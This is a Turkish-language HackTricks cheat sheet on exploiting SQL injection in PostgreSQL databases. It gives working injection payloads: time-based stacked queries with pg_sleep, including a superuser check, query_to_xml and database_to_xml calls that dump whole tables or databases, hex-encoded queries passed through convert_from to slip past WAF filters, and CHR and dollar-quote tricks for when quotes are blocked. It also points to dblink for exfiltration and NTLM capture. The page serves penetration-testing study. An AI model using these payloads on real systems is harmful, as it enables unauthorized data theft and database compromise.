PostgreSQL injection

HackTricks'i Destekleyin

Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).


Bu sayfa, bir postgresql veritabanında bulunan bir SQL enjeksiyonunu istismar etmenize yardımcı olabilecek farklı ipuçlarını açıklamayı ve https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md bulabileceğiniz ipuçlarını tamamlamayı amaçlamaktadır.

Ağ Etkileşimi - Yetki Yükseltme, Port Tarayıcı, NTLM zorluk yanıtı ifşası & Exfiltrasyon

PostgreSQL modülü dblink, diğer PostgreSQL örneklerine bağlanma ve TCP bağlantıları gerçekleştirme yetenekleri sunar. Bu özellikler, COPY FROM işlevselliği ile birleştirildiğinde, yetki yükseltme, port tarama ve NTLM zorluk yanıtı yakalama gibi eylemleri mümkün kılar. Bu saldırıları gerçekleştirme yöntemleri için bu saldırıları nasıl gerçekleştireceğinizi kontrol edin.

Büyük nesnelerin içine veri yükleme ve ardından dblink_connect fonksiyonunun kullanıcı adı içindeki büyük nesnelerin içeriğini exfiltrate etme ile ilgili bir CTF örneğini bu örneği okuyarak görebilirsiniz.

PostgreSQL Saldırıları: Okuma/yazma, RCE, yetki yükseltme

PostgreSQL'den ana makineyi nasıl tehlikeye atacağınızı ve yetkileri nasıl yükselteceğinizi kontrol edin:

5432,5433 - Pentesting Postgresql

WAF atlatma

PostgreSQL Dize işlevleri

Dizeleri manipüle etmek, WAF'ları veya diğer kısıtlamaları atlatmanıza yardımcı olabilir. Bu sayfada bazı yararlı Dize işlevlerini bulabilirsiniz.

Yığılmış Sorgular

PostgreSQL'in yığılmış sorguları desteklediğini unutmayın, ancak birçok uygulama yalnızca 1 yanıt beklerken 2 yanıt döndüğünde bir hata verecektir. Ancak, yine de zaman enjeksiyonu yoluyla yığılmış sorguları kötüye kullanabilirsiniz:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML hileleri

query_to_xml

Bu fonksiyon, tüm verileri tek bir dosyada XML formatında döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Bu fonksiyon, tüm veritabanını yalnızca 1 satırda XML formatında dökecektir (veritabanı çok büyükse dikkatli olun, çünkü bunu DoS yapabilir veya hatta kendi istemcinizi etkileyebilirsiniz):

SELECT database_to_xml(true,true,'');

Hex'teki Dize

Eğer sorguları bir dize içinde geçirebiliyorsanız (örneğin query_to_xml fonksiyonunu kullanarak). Dizeyi hex olarak geçmek ve bu şekilde filtreleri atlatmak için convert_from kullanabilirsiniz:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Yasaklı alıntılar

Eğer yüklemeniz için alıntı kullanamıyorsanız, bunu CHR ile aşabilirsiniz. Temel ifadeler için (karakter birleştirme yalnızca SELECT, INSERT, DELETE gibi temel sorgular için çalışır. Tüm SQL ifadeleri için çalışmaz):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ya da $ ile. Bu sorgular aynı sonuçları döndürür:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Eğer hackleme kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).

HackTricks'i Destekleyin

Last updated